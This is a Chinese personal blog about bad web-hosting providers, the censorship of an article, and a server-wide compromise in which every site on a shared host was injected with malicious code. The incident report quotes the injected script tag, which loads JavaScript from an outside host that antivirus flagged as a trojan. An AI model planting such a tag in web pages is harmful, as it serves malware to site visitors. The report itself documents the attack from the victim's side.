广辉岁月

这个博客的空间马上就要到期了（3月21号），现在不得不考虑再换个地方了。

之前曾经使用过火山互联、迈腾科技、5944.net、新空互联等虚拟主机提供商的空间，似乎还用过其他地方的，忘记了。

总的来看，火山互联的服务中规中矩，虽然称是无限主机，但是却按照点数的标准来分割网站，这样成本就不低了。

迈腾科技问题还是比较多的，而且好几次出了问题在我反映后服务态度都是比较低劣的，而且怀疑我的动机来了。第一年的价格还算合理，后来就猛涨了一下。高了我就不要了。

5944.net，这个网站的服务真的应了域名的象征意义——我就试试（仅此而已）。试试的结果是大为不满，服务太低劣，连接速度太慢，客服（男）的普通话地方音太浓沟通起来很不爽快，而且沟通的时候语气强硬买了服务后就高居在上了骗你一个是一个。对其抱有希望的同学建议不要去浪费金钱和时间了，因为“你去试试”的结果是“别去试试”。

新空互联呢，在之前刚建立很实用不久的时候，老出现问题，三番五次地折腾，先后似乎换了四个IP，恼怒下沟我发了一些文章对其大骂，后来这些文章（帖子）对其造成了一些影响。这也不是我愿意的。不过说实话，新空互联后来在服务上进步了不少！出问题的次数不是太多了。出了问题不能访问了打电话过去被告知“在升级”（原来一切尽在掌控中），“升级”一次也就那么两三天的时间。

现在我想购买真正的性价比较高的ASP空间，那种如5944一样低劣的根本不用考虑了，那些变相进行限制的还是算了，那些经常玩“升级”的也不用考虑了，有没有综合起来比上面的更好的？欢迎给我一些建议。

刚刚打开QQ，发现空间提供商（迈腾）的两位客服人员发来消息，内容如下：

迈腾技术客服：

打开链接，发现要求删除的是之前的文章——《“抵制家乐福”需要更多的理性》。

而另外一位客服DBS-售前的留言是：

我真是服了！！！

这篇文章之前在大家“抵制XXX”的时候曾经被网警发现，要求关闭我的站点；后经交涉，终于明白我的文章是理性的，于是在我站点关闭不久重新恢复了。

万万没有想到的是，事情已经过去了好多个月的今天，因为这篇文章又带来了站点被关闭的影响——在我看到消息的时候，站点已经被恢复运行了，只是那篇文章已经被管理员删除掉了，现在大家也看不到了。不过想看的话，一些网站的快照还是可以看到结果的，这里就不说明怎么操作了。

对于这样的情况我只能说我是服了这些人了，服了这些监管部门的人了，同时也替空间提供商感到悲哀——因为之前已经经过交涉，事情已经过去了，但是现在要求他们把某某站点关闭，他们也只有服从的份了，却没有说话的份。

事实上更可怜的是一些中国站长们，做站的过程本来是艰难的，却还需要时时小心。一不小心文章如我一样“被和谐”了，甚至面临关站的危险，实在是一种尴尬的存在。

其实这样的情况经常会出现，在本人身上就经历了几次了。之前的一篇关于地震逃生的公益文章也被和谐了，没有办法。前段时间月光发了个人抵制猛牛的文章也被要求删除…

我知道，胳膊是拗不过大腿的，面对这样的问题，我们只能拿阿Q精神来自我安慰一下，算了。

没想到把虚拟主机换到迈腾后接连出现这么多麻烦：换过来不久就发现服务器遭到攻击，之后就是那边挂了国旗的关于“家乐福”的文章被误认为“散布谣言，扰乱社会秩序，破坏社会稳定具有煽动性质”而关闭了站点，接下来就是今天没有做出任何通知在站长不知情的情况下更换了服务器…

想当年，在其他地方的时候，觉得其服务已经比较烂了，没想到现在居然…上次那篇关乎国旗的文章还好，毕竟迈腾相关人员给我来了电话（虽然因故没接到）；这次不然，在我等完全不知情的情况下更换服务器，造成的影响是需要重新进行域名解析，同时相当一段时间网站不能访问还不知道是怎么回事。另外比较惨的是，最终查看今天的访问统计时，发现只剩下齐刷刷一排排来自美国的IP，来路居然齐刷刷是“直接输入”，经分析认定这几十个IP应该是来自谷歌或者雅虎之类的搜索引擎爬虫（蜘蛛）——那么，这个时候更换服务器造成的影响有多大自然就相当明显了…

另外，刚刚上线了一个新站，用了另外的虚拟主机，结果付了款才发现那个虚拟主机又是一个奇差无比的，后来经过再次交涉，服务方决定给我更换“更好的”虚拟主机。

不过这个“更好的”期待了半天还是没有等来，估计还得再等半天…

昨天晚上打开站点（首页），速度出奇地慢(后来打开FTP速度也是慢的出奇),杀毒软件（卡巴斯基）WEB反病毒报告跳出来告诉我有木马程序。仔细检查发现在页面顶部被植入这样一段代码：<script src=http://count.5111yes.cn/count/js/1.js></script>。而且网站内部所有页面都被植入这样的代码！

对于类似的问题我已经遇到好几次了，已经是见怪不怪了。经验告诉我这种情况的发生很大程度上是网站所在的服务器（虚拟主机）安全性存在漏洞被攻击的结果。

针对这样的情况一般的解决办法是直接用备份的文件将这些页面覆盖一次就可以了；这次不然，当我把备份文件上传上来覆盖好原有的文件后，在打开这些页面是发现页面立马又被植入了上面的代码！重复这样的动作好几次结果依然如此。

我不由地检查提供给我虚拟主机的Z-HOST（本站一个月前转入到Z-HOST的，所在虚拟主机IP为222.73.236.32)，当我打开页面http://222.73.236.32的时候，WEB反病毒报告又出来了，查看其页面源文件发现该页面也不幸中招了！而且，本人随机打开本站所在主机上的99个网站中的一些站点发现这些站点无一幸免地被植入了上面的恶意代码…这真是一件很郁闷的事情,影响实在是“很坏，很糟糕！”。

本来更换空间到Z-HOST是因为有人说这里服务不错安全也好才做出这样的决定的——前边所在的火山互联的服务实在太差了，空间经常被攻击。但是万没有想到的是，刚刚转入Z-HOST不久，这里的服务器也遭受了同样的命运。当然，也不能就此说明空间提供商的服务不好，以前在统计服务中非常出色的51.LA也被攻击得都很无奈了。有句话叫“久病成医”，现在的51.LA在安全防范方面比以前要好得多了，而不争气的火山互联叫我失望了多次无法看到希望只好放弃走人，我不希望Z-HOST也叫我失望！

下面列出222.73.236.32上所有网站的域名，与这些兄弟姐妹大叔大妈们一起祈祷。希望主机提供商在安全方面争口气做好防范，让大家放心！
—————————————————————
99 found with the IP 222.73.236.32：
1) icbcc.net
2) ooboox.cn
3) blog.haifol.com
4) mutouren.net
5) haifol.com
6) pillowhome.cn
7) mov0728.com
52chichi.com
9) faruier-shop.cn
10) 12ui.cn
11) 3rbags.sh32.365dns.net
12) 52xiaoxi.name
13) 5588v.cn
14) 55you.com
15) 70sky.cn
16) 88853.com
17) 92zuowen.cn
18) abc515.cn
19) achisky.com.cn
20) ahqueer.cn
21) aixinni.cn
22) amazon-joyo.org
23) autoairfreshener.com.cn
24) bangdd.com
25) blog.buzz.net.cn
26) blog.jiespace.cn
27) blog.lifeboke.cn
28) blog.qinrm.com
29) bluemaples.cn
30) bt.haifol.com
31) buzz.net.cn
32) cctea.com
33) cetcq.cn
34) chejia.name
35) chenyg.cn    ——本站域名
36) chinapubook.cn
37) cnit128.com
38) cnsattv.cn
39) cokar.com
40) com999.cn
41) dong21.com
42) facechat.cn
43) gidot.cn
44) google-earth-fans.org
45) hackdying.vicp.net
46) hackmvp.com
47) hacksw.cn
48) happyhack.cn
49) home365.net.cn
50) honey-stone.com
51) huanjue.net
52) idealandreal.com
53) iiidesign.cn
54) imbullfrog.com
55) jin.ngsee.com
56) jt18c.cn
57) kogoo.org
58) kweikwei.com
59) lifeboke.cn
60) live1000.cn
61) mamazx.com
62) mngod.cn
63) myhome5.cn
64) nfirefox.com.cn
65) nmlw.cn
66) o1st.com
67) oui-naozumi.name
68) pczilla.net
69) qqjinghua.cn
70) qxprint.com
71) ruzhe.com
72) sageit.cn
73) scolors.cn
74) senye.com
75) shishang-qiyi.org.cn
76) shoopay.com
77) soft-blog.cn
78) suipai.net
79) svl.cc
80) tengfeisoft.com
81) thod.cn
82) tzpos.com
83) vip.hackmvp.com
84) wabird.cn
85) wanjinyu.com
86) xdiary.cn
87) xiaododo.com.cn
88) xqsheng.cn
89) xuejiu.com
90) xunw.cn
91) xyhc.net.cn
92) yalukang.com
93) yishujiayuan.com
94) youjiangqu.cn
95) yuwave.cn
96) yzm.cc
97) zhangyiming.com
98) zx38.cn
99) zzmku.cn
——————————————————

附（整个事件始末）：

• 之前使用火山互联主机，性能太差；小一、washun等反应Z-host（其实是迈腾主机）服务不错于是转移阵地至此；
• 昨晚十一点五十左右本人打开站点，发现中招；用备份文件覆盖多次未能如愿；查看所在主机上用户，发现无一幸免，知晓此事是由于（迈腾）主机遭受攻击所致；
• 到论坛反映情况，发现Z-HOST主机服务板块不能发帖，同时考虑主机提供商可能会很快解决问题，这事暂且搁置；
• 今天早上9点多打开站点发现依然如故。到论坛反映实情，点击这里查看，迅速有人跟帖声讨此事；之后又在Z-Blogger群（45392342）掀起热烈讨论；本人同时联系客服。
• 很糟糕，当时客服无人，24H电话无人接管，邮件发过去接到“邮件投递错误”通知，告知“帐号不存在”；
• 好容易联系到客服，回复“正在弄”，然后再无音讯；
• 论坛、群用户继续讨论，反应出其中的很多问题，此处就不列举出来了；
• 直到十一点半左右，问题才得以解决。整个事件持续13小时。

之所以反应出来，是因为“哀其不幸，怒其不争”，逃避和庇护只能使问题更加严重，最好的解决办法是即使反映问题和更及时地处理问题！希望迈腾以此为戒，努力地、热心地、更好地为大家服务！

这事件给人的教训是：做网站一定要选择好主机服务，同时要做好安全防范养成勤备份的习惯！